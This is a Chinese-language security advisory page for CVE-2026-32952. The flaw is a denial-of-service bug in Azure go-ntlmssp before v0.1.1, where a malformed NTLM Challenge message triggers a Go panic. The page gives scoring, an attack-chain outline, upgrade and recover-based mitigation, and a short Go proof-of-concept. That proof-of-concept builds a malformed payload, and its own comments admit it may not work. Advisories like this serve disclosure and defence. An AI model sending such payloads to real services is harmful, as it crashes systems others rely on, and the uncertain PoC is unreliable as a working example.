IPBUF安全漏洞报告
English
CVE-2026-32952 CVSS 5.3 中危

CVE-2026-32952 go-ntlmssp越界访问致崩溃漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-32952
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Azure go-ntlmssp

相关标签

CVE-2026-32952GoNTLMDoSPanicOut-of-bounds

漏洞概述

go-ntlmssp是一个提供HTTP NTLM/Negotiate认证的Go语言包。在0.1.1版本之前,该组件存在安全漏洞,未能正确校验NTLM挑战消息的边界。攻击者可以通过发送特制的恶意NTLM挑战消息,触发切片越界访问错误,导致使用ntlmssp.Negotiator作为HTTP传输层的Go进程发生panic崩溃。该漏洞无需用户交互即可通过网络触发,主要影响服务的可用性。

技术细节

该漏洞源于go-ntlmssp在解析NTLM协议Challenge消息(Type 2消息)时,缺乏对消息字段长度和偏移量的严格边界检查。当解析器处理特制的恶意消息时,会尝试读取预分配缓冲区或切片范围之外的数据。在Go语言中,这种越界读取会触发运行时恐慌,进而导致当前Goroutine终止。如果应用程序未在NTLM处理逻辑中实现recover机制,该恐慌将扩散并导致整个服务进程崩溃。根据CVSS 3.1向量,该漏洞攻击复杂度低,无需权限且无用户交互,虽然不影响机密性和完整性,但对可用性造成直接影响(A:L)。

攻击链分析

STEP 1
侦察
攻击者识别目标系统正在使用Azure go-ntlmssp库且版本低于0.1.1进行NTLM认证。
STEP 2
武器化
攻击者构造特制的NTLM Challenge消息,该消息包含能够触发解析器越界读取的恶意字段或偏移量。
STEP 3
交付
攻击者通过网络向目标Go进程发送该恶意Challenge消息。
STEP 4
利用
目标进程解析该消息时,触发slice out of bounds panic。
STEP 5
影响
Go进程崩溃,导致服务拒绝访问(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "bytes" "encoding/hex" "fmt" ) // This script generates a malformed NTLM Challenge message // that can trigger the slice out of bounds panic in vulnerable versions of go-ntlmssp. func main() { // NTLM Signature: 'NTLMSSP' + Null terminator signature := []byte{0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00} // Message Type: 2 (Challenge) msgType := []byte{0x02, 0x00, 0x00, 0x00} // Constructing a payload with manipulated target name fields // to potentially trigger the parsing logic error. // The specific offsets depend on the library's parsing logic. buffer := new(bytes.Buffer) buffer.Write(signature) buffer.Write(msgType) // Fill buffer with data that might cause index out of bounds // This simulates a malformed TargetInfo fields or length mismatches malformedData := make([]byte, 32) for i := range malformedData { malformedData[i] = 0x41 // 'A' } buffer.Write(malformedData) payload := buffer.Bytes() fmt.Println("Generated Malformed NTLM Challenge Payload:") fmt.Println(hex.Dump(payload)) // To exploit: Send this payload as the NTLM Challenge response // to a Go application using 'github.com/Azure/go-ntlmssp' < v0.1.1 }

影响范围

Azure/go-ntlmssp < 0.1.1

防御指南

临时缓解措施
建议立即检查项目依赖,将go-ntlmssp更新至包含修复补丁的v0.1.1版本。若暂时无法升级,应在调用NTLM协商处理函数的外层增加异常捕获机制,防止因panic导致整个程序意外退出,从而减轻拒绝服务的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表